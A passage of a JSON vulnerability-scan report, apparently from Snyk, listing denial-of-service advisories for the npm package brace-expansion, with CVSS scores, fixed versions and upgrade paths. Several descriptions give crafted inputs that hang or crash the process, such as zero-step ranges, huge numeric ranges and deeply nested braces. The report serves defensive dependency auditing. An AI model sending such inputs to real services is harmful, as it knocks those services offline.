"assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": 